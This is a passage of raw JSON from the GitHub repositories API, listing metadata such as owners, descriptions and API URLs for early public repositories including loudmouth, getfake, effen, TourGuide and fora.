14cec8b30a3e1","url":"https://api.github.com/users/russ","html_url":"https://github.com/russ","followers_url":"https://api.github.com/users/russ/followers","following_url":"https://api.github.com/users/russ/following{/other_user}","gists_url":"https://api.github.com/users/russ/gists{/gist_id}","starred_url":"https://api.github.com/users/russ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/russ/subscriptions","organizations_url":"https://api.github.com/users/russ/orgs","repos_url":"https://api.github.com/users/russ/repos","events_url":"https://api.github.com/users/russ/events{/privacy}","received_events_url":"https://api.github.com/users/russ/received_events","type":"User"},"private":false,"html_url":"https://github.com/russ/jacks-php","description":"I am Jacks PHP framework.","fork":false,"url":"https://api.github.com/repos/russ/jacks-php","forks_url":"https://api.github.com/repos/russ/jacks-php/forks","keys_url":"https://api.github.com/repos/russ/jacks-php/keys{/key_id}","collaborators_url":"https://api.github.com/repos/russ/jacks-php/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/russ/jacks-php/teams","hooks_url":"https://api.github.com/repos/russ/jacks-php/hooks","issue_events_url":"https://api.github.com/repos/russ/jacks-php/issues/events{/number}","events_url":"https://api.github.com/repos/russ/jacks-php/events","assignees_url":"https://api.github.com/repos/russ/jacks-php/assignees{/user}","branches_url":"https://api.github.com/repos/russ/jacks-php/branches{/branch}","tags_url":"https://api.github.com/repos/russ/jacks-php/tags","blobs_url":"https://api.github.com/repos/russ/jacks-php/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/russ/jacks-php/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/russ/jacks-php/git/refs{/sha}","trees_url":"https://api.github.com/repos/russ/jacks-php/git/trees{/sha}","statuses_url":"https://api.github.com/repos/russ/jacks-php/statuses/{sha}","languages_url":"https://api.github.com/repos/russ/jacks-php/languages","stargazers_url":"https://api.github.com/repos/russ/jacks-php/stargazers","contributors_url":"https://api.github.com/repos/russ/jacks-php/contributors","subscribers_url":"https://api.github.com/repos/russ/jacks-php/subscribers","subscription_url":"https://api.github.com/repos/russ/jacks-php/subscription","commits_url":"https://api.github.com/repos/russ/jacks-php/commits{/sha}","git_commits_url":"https://api.github.com/repos/russ/jacks-php/git/commits{/sha}","comments_url":"https://api.github.com/repos/russ/jacks-php/comments{/number}","issue_comment_url":"https://api.github.com/repos/russ/jacks-php/issues/comments/{number}","contents_url":"https://api.github.com/repos/russ/jacks-php/contents/{+path}","compare_url":"https://api.github.com/repos/russ/jacks-php/compare/{base}...{head}","merges_url":"https://api.github.com/repos/russ/jacks-php/merges","archive_url":"https://api.github.com/repos/russ/jacks-php/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/russ/jacks-php/downloads","issues_url":"https://api.github.com/repos/russ/jacks-php/issues{/number}","pulls_url":"https://api.github.com/repos/russ/jacks-php/pulls{/number}","milestones_url":"https://api.github.com/repos/russ/jacks-php/milestones{/number}","notifications_url":"https://api.github.com/repos/russ/jacks-php/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/russ/jacks-php/labels{/name}"},{"id":1042,"name":"loudmouth","full_name":"mhallendal/loudmouth","owner":{"login":"mhallendal","id":541,"avatar_url":"https://1.gravatar.com/avatar/9736d1741af3929d5960dacffb03cfd5?d=https%3A%2F%2Fidenticons.github.com%2F16c222aa19898e5058938167c8ab6c57.png","gravatar_id":"9736d1741af3929d5960dacffb03cfd5","url":"https://api.github.com/users/mhallendal","html_url":"https://github.com/mhallendal","followers_url":"https://api.github.com/users/mhallendal/followers","following_url":"https://api.github.com/users/mhallendal/following{/other_user}","gists_url":"https://api.github.com/users/mhallendal/gists{/gist_id}","starred_url":"https://api.github.com/users/mhallendal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mhallendal/subscriptions","organizations_url":"https://api.github.com/users/mhallendal/orgs","repos_url":"https://api.github.com/users/mhallendal/repos","events_url":"https://api.github.com/users/mhallendal/events{/privacy}","received_events_url":"https://api.github.com/users/mhallendal/received_events","type":"User"},"private":false,"html_url":"https://github.com/mhallendal/loudmouth","description":"An asynchronous XMPP library","fork":false,"url":"https://api.github.com/repos/mhallendal/loudmouth","forks_url":"https://api.github.com/repos/mhallendal/loudmouth/forks","keys_url":"https://api.github.com/repos/mhallendal/loudmouth/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mhallendal/loudmouth/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mhallendal/loudmouth/teams","hooks_url":"https://api.github.com/repos/mhallendal/loudmouth/hooks","issue_events_url":"https://api.github.com/repos/mhallendal/loudmouth/issues/events{/number}","events_url":"https://api.github.com/repos/mhallendal/loudmouth/events","assignees_url":"https://api.github.com/repos/mhallendal/loudmouth/assignees{/user}","branches_url":"https://api.github.com/repos/mhallendal/loudmouth/branches{/branch}","tags_url":"https://api.github.com/repos/mhallendal/loudmouth/tags","blobs_url":"https://api.github.com/repos/mhallendal/loudmouth/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mhallendal/loudmouth/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mhallendal/loudmouth/git/refs{/sha}","trees_url":"https://api.github.com/repos/mhallendal/loudmouth/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mhallendal/loudmouth/statuses/{sha}","languages_url":"https://api.github.com/repos/mhallendal/loudmouth/languages","stargazers_url":"https://api.github.com/repos/mhallendal/loudmouth/stargazers","contributors_url":"https://api.github.com/repos/mhallendal/loudmouth/contributors","subscribers_url":"https://api.github.com/repos/mhallendal/loudmouth/subscribers","subscription_url":"https://api.github.com/repos/mhallendal/loudmouth/subscription","commits_url":"https://api.github.com/repos/mhallendal/loudmouth/commits{/sha}","git_commits_url":"https://api.github.com/repos/mhallendal/loudmouth/git/commits{/sha}","comments_url":"https://api.github.com/repos/mhallendal/loudmouth/comments{/number}","issue_comment_url":"https://api.github.com/repos/mhallendal/loudmouth/issues/comments/{number}","contents_url":"https://api.github.com/repos/mhallendal/loudmouth/contents/{+path}","compare_url":"https://api.github.com/repos/mhallendal/loudmouth/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mhallendal/loudmouth/merges","archive_url":"https://api.github.com/repos/mhallendal/loudmouth/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mhallendal/loudmouth/downloads","issues_url":"https://api.github.com/repos/mhallendal/loudmouth/issues{/number}","pulls_url":"https://api.github.com/repos/mhallendal/loudmouth/pulls{/number}","milestones_url":"https://api.github.com/repos/mhallendal/loudmouth/milestones{/number}","notifications_url":"https://api.github.com/repos/mhallendal/loudmouth/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mhallendal/loudmouth/labels{/name}"},{"id":1043,"name":"getfake","full_name":"anildigital/getfake","owner":{"login":"anildigital","id":266,"avatar_url":"https://2.gravatar.com/avatar/2ad20e87f55ce79b113a12c516ec9d09?d=https%3A%2F%2Fidenticons.github.com%2Ff7664060cc52bc6f3d620bcedc94a4b6.png","gravatar_id":"2ad20e87f55ce79b113a12c516ec9d09","url":"https://api.github.com/users/anildigital","html_url":"https://github.com/anildigital","followers_url":"https://api.github.com/users/anildigital/followers","following_url":"https://api.github.com/users/anildigital/following{/other_user}","gists_url":"https://api.github.com/users/anildigital/gists{/gist_id}","starred_url":"https://api.github.com/users/anildigital/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/anildigital/subscriptions","organizations_url":"https://api.github.com/users/anildigital/orgs","repos_url":"https://api.github.com/users/anildigital/repos","events_url":"https://api.github.com/users/anildigital/events{/privacy}","received_events_url":"https://api.github.com/users/anildigital/received_events","type":"User"},"private":false,"html_url":"https://github.com/anildigital/getfake","description":"Its a web UI for for ruby faker gem","fork":false,"url":"https://api.github.com/repos/anildigital/getfake","forks_url":"https://api.github.com/repos/anildigital/getfake/forks","keys_url":"https://api.github.com/repos/anildigital/getfake/keys{/key_id}","collaborators_url":"https://api.github.com/repos/anildigital/getfake/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/anildigital/getfake/teams","hooks_url":"https://api.github.com/repos/anildigital/getfake/hooks","issue_events_url":"https://api.github.com/repos/anildigital/getfake/issues/events{/number}","events_url":"https://api.github.com/repos/anildigital/getfake/events","assignees_url":"https://api.github.com/repos/anildigital/getfake/assignees{/user}","branches_url":"https://api.github.com/repos/anildigital/getfake/branches{/branch}","tags_url":"https://api.github.com/repos/anildigital/getfake/tags","blobs_url":"https://api.github.com/repos/anildigital/getfake/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/anildigital/getfake/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/anildigital/getfake/git/refs{/sha}","trees_url":"https://api.github.com/repos/anildigital/getfake/git/trees{/sha}","statuses_url":"https://api.github.com/repos/anildigital/getfake/statuses/{sha}","languages_url":"https://api.github.com/repos/anildigital/getfake/languages","stargazers_url":"https://api.github.com/repos/anildigital/getfake/stargazers","contributors_url":"https://api.github.com/repos/anildigital/getfake/contributors","subscribers_url":"https://api.github.com/repos/anildigital/getfake/subscribers","subscription_url":"https://api.github.com/repos/anildigital/getfake/subscription","commits_url":"https://api.github.com/repos/anildigital/getfake/commits{/sha}","git_commits_url":"https://api.github.com/repos/anildigital/getfake/git/commits{/sha}","comments_url":"https://api.github.com/repos/anildigital/getfake/comments{/number}","issue_comment_url":"https://api.github.com/repos/anildigital/getfake/issues/comments/{number}","contents_url":"https://api.github.com/repos/anildigital/getfake/contents/{+path}","compare_url":"https://api.github.com/repos/anildigital/getfake/compare/{base}...{head}","merges_url":"https://api.github.com/repos/anildigital/getfake/merges","archive_url":"https://api.github.com/repos/anildigital/getfake/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/anildigital/getfake/downloads","issues_url":"https://api.github.com/repos/anildigital/getfake/issues{/number}","pulls_url":"https://api.github.com/repos/anildigital/getfake/pulls{/number}","milestones_url":"https://api.github.com/repos/anildigital/getfake/milestones{/number}","notifications_url":"https://api.github.com/repos/anildigital/getfake/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/anildigital/getfake/labels{/name}"},{"id":1049,"name":"effen","full_name":"nkallen/effen","owner":{"login":"nkallen","id":699,"avatar_url":"https://1.gravatar.com/avatar/2b292377455ec105686730d6aa59c262?d=https%3A%2F%2Fidenticons.github.com%2Fafd4836712c5e77550897e25711e1d96.png","gravatar_id":"2b292377455ec105686730d6aa59c262","url":"https://api.github.com/users/nkallen","html_url":"https://github.com/nkallen","followers_url":"https://api.github.com/users/nkallen/followers","following_url":"https://api.github.com/users/nkallen/following{/other_user}","gists_url":"https://api.github.com/users/nkallen/gists{/gist_id}","starred_url":"https://api.github.com/users/nkallen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nkallen/subscriptions","organizations_url":"https://api.github.com/users/nkallen/orgs","repos_url":"https://api.github.com/users/nkallen/repos","events_url":"https://api.github.com/users/nkallen/events{/privacy}","received_events_url":"https://api.github.com/users/nkallen/received_events","type":"User"},"private":false,"html_url":"https://github.com/nkallen/effen","description":"A jQuery plugin for Morphic programming","fork":false,"url":"https://api.github.com/repos/nkallen/effen","forks_url":"https://api.github.com/repos/nkallen/effen/forks","keys_url":"https://api.github.com/repos/nkallen/effen/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nkallen/effen/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nkallen/effen/teams","hooks_url":"https://api.github.com/repos/nkallen/effen/hooks","issue_events_url":"https://api.github.com/repos/nkallen/effen/issues/events{/number}","events_url":"https://api.github.com/repos/nkallen/effen/events","assignees_url":"https://api.github.com/repos/nkallen/effen/assignees{/user}","branches_url":"https://api.github.com/repos/nkallen/effen/branches{/branch}","tags_url":"https://api.github.com/repos/nkallen/effen/tags","blobs_url":"https://api.github.com/repos/nkallen/effen/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nkallen/effen/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nkallen/effen/git/refs{/sha}","trees_url":"https://api.github.com/repos/nkallen/effen/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nkallen/effen/statuses/{sha}","languages_url":"https://api.github.com/repos/nkallen/effen/languages","stargazers_url":"https://api.github.com/repos/nkallen/effen/stargazers","contributors_url":"https://api.github.com/repos/nkallen/effen/contributors","subscribers_url":"https://api.github.com/repos/nkallen/effen/subscribers","subscription_url":"https://api.github.com/repos/nkallen/effen/subscription","commits_url":"https://api.github.com/repos/nkallen/effen/commits{/sha}","git_commits_url":"https://api.github.com/repos/nkallen/effen/git/commits{/sha}","comments_url":"https://api.github.com/repos/nkallen/effen/comments{/number}","issue_comment_url":"https://api.github.com/repos/nkallen/effen/issues/comments/{number}","contents_url":"https://api.github.com/repos/nkallen/effen/contents/{+path}","compare_url":"https://api.github.com/repos/nkallen/effen/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nkallen/effen/merges","archive_url":"https://api.github.com/repos/nkallen/effen/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nkallen/effen/downloads","issues_url":"https://api.github.com/repos/nkallen/effen/issues{/number}","pulls_url":"https://api.github.com/repos/nkallen/effen/pulls{/number}","milestones_url":"https://api.github.com/repos/nkallen/effen/milestones{/number}","notifications_url":"https://api.github.com/repos/nkallen/effen/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nkallen/effen/labels{/name}"},{"id":1052,"name":"template","full_name":"jparker/template","owner":{"login":"jparker","id":703,"avatar_url":"https://2.gravatar.com/avatar/f239ccb7f4c904a74e523a3334ca45e7?d=https%3A%2F%2Fidenticons.github.com%2Fd6c651ddcd97183b2e40bc464231c962.png","gravatar_id":"f239ccb7f4c904a74e523a3334ca45e7","url":"https://api.github.com/users/jparker","html_url":"https://github.com/jparker","followers_url":"https://api.github.com/users/jparker/followers","following_url":"https://api.github.com/users/jparker/following{/other_user}","gists_url":"https://api.github.com/users/jparker/gists{/gist_id}","starred_url":"https://api.github.com/users/jparker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jparker/subscriptions","organizations_url":"https://api.github.com/users/jparker/orgs","repos_url":"https://api.github.com/users/jparker/repos","events_url":"https://api.github.com/users/jparker/events{/privacy}","received_events_url":"https://api.github.com/users/jparker/received_events","type":"User"},"private":false,"html_url":"https://github.com/jparker/template","description":"Rails project template","fork":false,"url":"https://api.github.com/repos/jparker/template","forks_url":"https://api.github.com/repos/jparker/template/forks","keys_url":"https://api.github.com/repos/jparker/template/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jparker/template/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jparker/template/teams","hooks_url":"https://api.github.com/repos/jparker/template/hooks","issue_events_url":"https://api.github.com/repos/jparker/template/issues/events{/number}","events_url":"https://api.github.com/repos/jparker/template/events","assignees_url":"https://api.github.com/repos/jparker/template/assignees{/user}","branches_url":"https://api.github.com/repos/jparker/template/branches{/branch}","tags_url":"https://api.github.com/repos/jparker/template/tags","blobs_url":"https://api.github.com/repos/jparker/template/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jparker/template/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jparker/template/git/refs{/sha}","trees_url":"https://api.github.com/repos/jparker/template/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jparker/template/statuses/{sha}","languages_url":"https://api.github.com/repos/jparker/template/languages","stargazers_url":"https://api.github.com/repos/jparker/template/stargazers","contributors_url":"https://api.github.com/repos/jparker/template/contributors","subscribers_url":"https://api.github.com/repos/jparker/template/subscribers","subscription_url":"https://api.github.com/repos/jparker/template/subscription","commits_url":"https://api.github.com/repos/jparker/template/commits{/sha}","git_commits_url":"https://api.github.com/repos/jparker/template/git/commits{/sha}","comments_url":"https://api.github.com/repos/jparker/template/comments{/number}","issue_comment_url":"https://api.github.com/repos/jparker/template/issues/comments/{number}","contents_url":"https://api.github.com/repos/jparker/template/contents/{+path}","compare_url":"https://api.github.com/repos/jparker/template/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jparker/template/merges","archive_url":"https://api.github.com/repos/jparker/template/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jparker/template/downloads","issues_url":"https://api.github.com/repos/jparker/template/issues{/number}","pulls_url":"https://api.github.com/repos/jparker/template/pulls{/number}","milestones_url":"https://api.github.com/repos/jparker/template/milestones{/number}","notifications_url":"https://api.github.com/repos/jparker/template/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jparker/template/labels{/name}"},{"id":1054,"name":"TourGuide","full_name":"TekNoLogic/TourGuide","owner":{"login":"TekNoLogic","id":318374,"avatar_url":"https://0.gravatar.com/avatar/3260416e668934213340ecc4f8a835f4?d=https%3A%2F%2Fidenticons.github.com%2F10061d18a6a471274d9f419b0bf5502b.png","gravatar_id":"3260416e668934213340ecc4f8a835f4","url":"https://api.github.com/users/TekNoLogic","html_url":"https://github.com/TekNoLogic","followers_url":"https://api.github.com/users/TekNoLogic/followers","following_url":"https://api.github.com/users/TekNoLogic/following{/other_user}","gists_url":"https://api.github.com/users/TekNoLogic/gists{/gist_id}","starred_url":"https://api.github.com/users/TekNoLogic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/TekNoLogic/subscriptions","organizations_url":"https://api.github.com/users/TekNoLogic/orgs","repos_url":"https://api.github.com/users/TekNoLogic/repos","events_url":"https://api.github.com/users/TekNoLogic/events{/privacy}","received_events_url":"https://api.github.com/users/TekNoLogic/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/TekNoLogic/TourGuide","description":"WoW Addon - Powerleveling guide framework","fork":false,"url":"https://api.github.com/repos/TekNoLogic/TourGuide","forks_url":"https://api.github.com/repos/TekNoLogic/TourGuide/forks","keys_url":"https://api.github.com/repos/TekNoLogic/TourGuide/keys{/key_id}","collaborators_url":"https://api.github.com/repos/TekNoLogic/TourGuide/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/TekNoLogic/TourGuide/teams","hooks_url":"https://api.github.com/repos/TekNoLogic/TourGuide/hooks","issue_events_url":"https://api.github.com/repos/TekNoLogic/TourGuide/issues/events{/number}","events_url":"https://api.github.com/repos/TekNoLogic/TourGuide/events","assignees_url":"https://api.github.com/repos/TekNoLogic/TourGuide/assignees{/user}","branches_url":"https://api.github.com/repos/TekNoLogic/TourGuide/branches{/branch}","tags_url":"https://api.github.com/repos/TekNoLogic/TourGuide/tags","blobs_url":"https://api.github.com/repos/TekNoLogic/TourGuide/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/TekNoLogic/TourGuide/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/TekNoLogic/TourGuide/git/refs{/sha}","trees_url":"https://api.github.com/repos/TekNoLogic/TourGuide/git/trees{/sha}","statuses_url":"https://api.github.com/repos/TekNoLogic/TourGuide/statuses/{sha}","languages_url":"https://api.github.com/repos/TekNoLogic/TourGuide/languages","stargazers_url":"https://api.github.com/repos/TekNoLogic/TourGuide/stargazers","contributors_url":"https://api.github.com/repos/TekNoLogic/TourGuide/contributors","subscribers_url":"https://api.github.com/repos/TekNoLogic/TourGuide/subscribers","subscription_url":"https://api.github.com/repos/TekNoLogic/TourGuide/subscription","commits_url":"https://api.github.com/repos/TekNoLogic/TourGuide/commits{/sha}","git_commits_url":"https://api.github.com/repos/TekNoLogic/TourGuide/git/commits{/sha}","comments_url":"https://api.github.com/repos/TekNoLogic/TourGuide/comments{/number}","issue_comment_url":"https://api.github.com/repos/TekNoLogic/TourGuide/issues/comments/{number}","contents_url":"https://api.github.com/repos/TekNoLogic/TourGuide/contents/{+path}","compare_url":"https://api.github.com/repos/TekNoLogic/TourGuide/compare/{base}...{head}","merges_url":"https://api.github.com/repos/TekNoLogic/TourGuide/merges","archive_url":"https://api.github.com/repos/TekNoLogic/TourGuide/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/TekNoLogic/TourGuide/downloads","issues_url":"https://api.github.com/repos/TekNoLogic/TourGuide/issues{/number}","pulls_url":"https://api.github.com/repos/TekNoLogic/TourGuide/pulls{/number}","milestones_url":"https://api.github.com/repos/TekNoLogic/TourGuide/milestones{/number}","notifications_url":"https://api.github.com/repos/TekNoLogic/TourGuide/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/TekNoLogic/TourGuide/labels{/name}"},{"id":1057,"name":"configuration-files","full_name":"adulteratedjedi/configuration-files","owner":{"login":"adulteratedjedi","id":702,"avatar_url":"https://1.gravatar.com/avatar/699b1f8c794863bc25a00221b4120ac7?d=https%3A%2F%2Fidenticons.github.com%2Fb1eec33c726a60554bc78518d5f9b32c.png","gravatar_id":"699b1f8c794863bc25a00221b4120ac7","url":"https://api.github.com/users/adulteratedjedi","html_url":"https://github.com/adulteratedjedi","followers_url":"https://api.github.com/users/adulteratedjedi/followers","following_url":"https://api.github.com/users/adulteratedjedi/following{/other_user}","gists_url":"https://api.github.com/users/adulteratedjedi/gists{/gist_id}","starred_url":"https://api.github.com/users/adulteratedjedi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/adulteratedjedi/subscriptions","organizations_url":"https://api.github.com/users/adulteratedjedi/orgs","repos_url":"https://api.github.com/users/adulteratedjedi/repos","events_url":"https://api.github.com/users/adulteratedjedi/events{/privacy}","received_events_url":"https://api.github.com/users/adulteratedjedi/received_events","type":"User"},"private":false,"html_url":"https://github.com/adulteratedjedi/configuration-files","description":"My Config Files","fork":false,"url":"https://api.github.com/repos/adulteratedjedi/configuration-files","forks_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/forks","keys_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/keys{/key_id}","collaborators_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/teams","hooks_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/hooks","issue_events_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/issues/events{/number}","events_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/events","assignees_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/assignees{/user}","branches_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/branches{/branch}","tags_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/tags","blobs_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/git/refs{/sha}","trees_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/git/trees{/sha}","statuses_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/statuses/{sha}","languages_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/languages","stargazers_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/stargazers","contributors_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/contributors","subscribers_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/subscribers","subscription_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/subscription","commits_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/commits{/sha}","git_commits_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/git/commits{/sha}","comments_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/comments{/number}","issue_comment_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/issues/comments/{number}","contents_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/contents/{+path}","compare_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/compare/{base}...{head}","merges_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/merges","archive_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/downloads","issues_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/issues{/number}","pulls_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/pulls{/number}","milestones_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/milestones{/number}","notifications_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/labels{/name}"},{"id":1061,"name":"fora","full_name":"ELLIOTTCABLE/fora","owner":{"login":"ELLIOTTCABLE","id":200,"avatar_url":"https://1.gravatar.com/avatar/4eac78fe7a7a607dcc097a0d6fd63690?d=https%3A%2F%2Fidenticons.github.com%2F3644a684f98ea8fe223c713b77189a77.png","gravatar_id":"4eac78fe7a7a607dcc097a0d6fd63690","url":"https://api.github.com/users/ELLIOTTCABLE","html_url":"https://github.com/ELLIOTTCABLE","followers_url":"https://api.github.com/users/ELLIOTTCABLE/followers","following_url":"https://api.github.com/users/ELLIOTTCABLE/following{/other_user}","gists_url":"https://api.github.com/users/ELLIOTTCABLE/gists{/gist_id}","starred_url":"https://api.github.com/users/ELLIOTTCABLE/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ELLIOTTCABLE/subscriptions","organizations_url":"https://api.github.com/users/ELLIOTTCABLE/orgs","repos_url":"https://api.github.com/users/ELLIOTTCABLE/repos","events_url":"https://api.github.com/users/ELLIOTTCABLE/events{/privacy}","received_events_url":"https://api.github.com/users/ELLIOTTCABLE/received_events","type":"User"},"private":false,"html_url":"https://github.com/ELLIOTTCABLE/fora","description":"Open source forum - done *different*","fork":false,"url":"https://api.github.com/repos/ELLIOTTCABLE/fora","forks_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/forks","keys_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/teams","hooks_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/hooks","issue_events_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/issues/events{/number}","events_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/events","assignees_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/assignees{/user}","branches_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/branches{/branch}","tags_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/tags","blobs_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/git/refs{/sha}","trees_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/statuses/{sha}","languages_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/languages","stargazers_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/stargazers","contributors_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/contributors","subscribers_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/subscribers","subscription_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/subscription","commits_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/commits{/sha}","git_commits_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/git/commits{/sha}","comments_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/comments{/number}","issue_comment_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/issues/comments/{number}","contents_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/contents/{+path}","compare_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/merges","archive_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/downloads","issues_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/issues{/number}","pulls_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/pulls{/number}","milestones_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/milestones{/number}","notifications_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/labels{/name}"},{"id":1062,"name":"dcbot","full_name":"kballard/dcbot","owner":{"login":"kballard","id":714,"avatar_url":"https://2.gravatar.com/avatar/6451ee8093c9cedc94f6c813b4dde2c5?d=https%3A%2F%2Fidenticons.github.com%2Fd14220ee66aeec73c49038385428ec4c.png","gravatar_id":"6451ee8093c9cedc94f6c813b4dde2c5","url":"https://api.github.com/users/kballard","html_url":"https://github.com/kballard","followers_url":"https://api.github.com/users/kballard/followers","following_url":"https://api.github.com/users/kballard/following{/other_user}","gists_url":"https://api.github.com/users/kballard/gists{/gist_id}","starred_url":"https://api.github.com/users/kballard/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kballard/subscriptions","organizations_url":"https://api.github.com/users/kballard/orgs","repos_url":"https://api.github.com/users/kballard/repos","events_url":"https://api.github.com/users/kballard/events{/privacy}","received_events_url":"https://api.github.com/users/kballard/received_events","type":"User"},"private":false,"html_url":"https://github.com/kballard/dcbot","description":"Direct Connect bot written in 